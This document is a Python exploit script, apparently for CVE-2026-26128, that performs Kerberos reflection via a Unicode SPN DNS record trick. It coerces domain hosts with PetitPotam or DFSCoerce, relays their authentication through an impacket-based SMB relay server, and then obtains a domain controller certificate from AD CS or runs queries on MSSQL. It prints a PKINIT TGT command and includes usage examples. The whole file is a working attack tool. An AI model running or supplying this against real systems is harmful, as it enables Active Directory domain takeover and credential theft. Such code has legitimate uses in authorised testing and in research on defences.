import argparse import logging import os import sys import time from impacket.examples import logger from impacket.examples.utils import parse_identity from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor from lib.servers import SMBRelayServer from lib.clients import PROTOCOL_CLIENTS from lib.utils.config import KrbRelayxConfig from lib.coerce.petitpotam import PetitPotam from lib.coerce.dfscoerce import DFSCoerce from lib.dns.dns import DNSTool from lib.utils.utils import parse_target, unicode COERCERS = { 'petitpotam': PetitPotam, 'dfscoerce': DFSCoerce, } def countdown(seconds): for remaining in range(seconds, 0, -1): sys.stdout.write(f'\r[*] Waiting for DNS propagation... {remaining}s') sys.stdout.flush() time.sleep(1) sys.stdout.write('\r[*] DNS propagation complete\n') sys.stdout.flush() def start_relay_server(options, target_url, hostname): c = KrbRelayxConfig() c.setProtocolClients(PROTOCOL_CLIENTS) c.setTargets(TargetsProcessor(singleTarget=target_url, protocolClients=PROTOCOL_CLIENTS)) c.setMode('RELAY') c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir(options.lootdir) c.setSMB2Support(True) c.setInterfaceIp(options.listener) c.setIsADCSAttack('certsrv' in target_url) c.setADCSOptions(options.template) c.setIPv6(False) c.setWpadOptions(None, None) c.setEncoding('utf-8') c.setExeFile(None) c.setCommand(None) c.setEnumLocalAdmins(False) c.setLDAPOptions(False, False, False, False, None, None, False, False, False, False, False) c.setKrbOptions('ccache', hostname.split('.')[0].upper() + '$') # added some parsing c.setAuthOptions(None, None, None, None, None, False) c.setMSSQLOptions(options.query) c.setInteractive(False) server = SMBRelayServer(c) server.start() return server def exploit(options, domain, username, password): # Parsing hostname = parse_target(options.target) if not hostname: parser.error(f"invalid target URL: {options.target}") if 'mssql' in options.target.lower() and not options.query: parser.error("MSSQL target requires -q/--query argument") unicode_fqdn = unicode(hostname) os.makedirs(options.lootdir, exist_ok=True) dns = DNSTool(domain, username, password, options.dc_ip) if not dns.add(unicode_fqdn, options.listener): logging.error("Failed to add DNS record, aborting") sys.exit(1) try: countdown(options.sleep) start_relay_server(options, options.target, hostname) COERCERS[options.method]( username=username, password=password, domain=domain, dc_ip=options.dc_ip, listener=unicode_fqdn, target=hostname ).coerce() if 'certsrv' in options.target: pfx = os.path.abspath(os.path.join(options.lootdir, f"{hostname.split('.')[0].upper()}.pfx")) print(f"\n[*] Waiting for certificate...") while not os.path.exists(pfx): time.sleep(1) print(f"\n[*] To request a TGT using PKINIT run:") print(f"\tpython3 gettgtpkinit.py {domain}/{hostname.split('.')[0].upper()}$ -cert-pfx {pfx} -dc-ip {options.dc_ip} out.ccache\n") sys.stdin.read() except KeyboardInterrupt: print() finally: dns.remove(unicode_fqdn) if __name__ == '__main__': parser = argparse.ArgumentParser(add_help=True, description="CVE-2026-26128 - Kerberos Reflection via Unicode SPN bypass") parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-t', '--target', action='store', required=True, help='Relay target (e.g. http://contoso-dc.contoso.com/certsrv/certfnsh.asp or mssql://host)') parser.add_argument('-l', '--listener', action='store', required=True, help='Attacker IP to listen on') parser.add_argument('-m', '--method', action='store', default='petitpotam', choices=['petitpotam', 'dfscoerce'], help='Coercion method (default: petitpotam)') parser.add_argument('-s', '--sleep', action='store', type=int, default=180, metavar='seconds', help='Seconds to wait for DNS propagation (default: 150)') parser.add_argument('--lootdir', action='store', default='.', metavar='DIR', help='Output directory (default: .)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action='store_true', help="Don't ask for password") group.add_argument('-k', action='store_true', help='Use Kerberos authentication via ccache (KRB5CCNAME)') group.add_argument('-dc-ip', action='store', metavar='ip address', required=True, help='IP Address of the domain controller') adcs = parser.add_argument_group('adcs') adcs.add_argument('--template', action='store', metavar='TEMPLATE', default='DomainController', help='AD CS certificate template (default: DomainController)') mssql = parser.add_argument_group('mssql') mssql.add_argument('-q', '--query', action='append', metavar='QUERY', default=None, help='MSSQL query to execute (can specify multiple)') if len(sys.argv) == 1: parser.print_help() print("\nExamples: ") print("\t./CVE-2026-26128.py contoso.com/user:pass -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10") print("\t./CVE-2026-26128.py contoso.com/user:pass -t mssql://contoso-sql.contoso.com -l 192.168.1.80 -dc-ip 192.168.1.10 -q 'SELECT @@version'\n") sys.exit(1) options = parser.parse_args() logger.init(options.ts, options.debug) domain, username, password, _, _, options.k = parse_identity( options.identity, options.hashes, options.no_pass, options.k) if domain is None: logging.critical('Domain should be specified!') sys.exit(1) try: exploit(options, domain, username, password) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() print(str(e))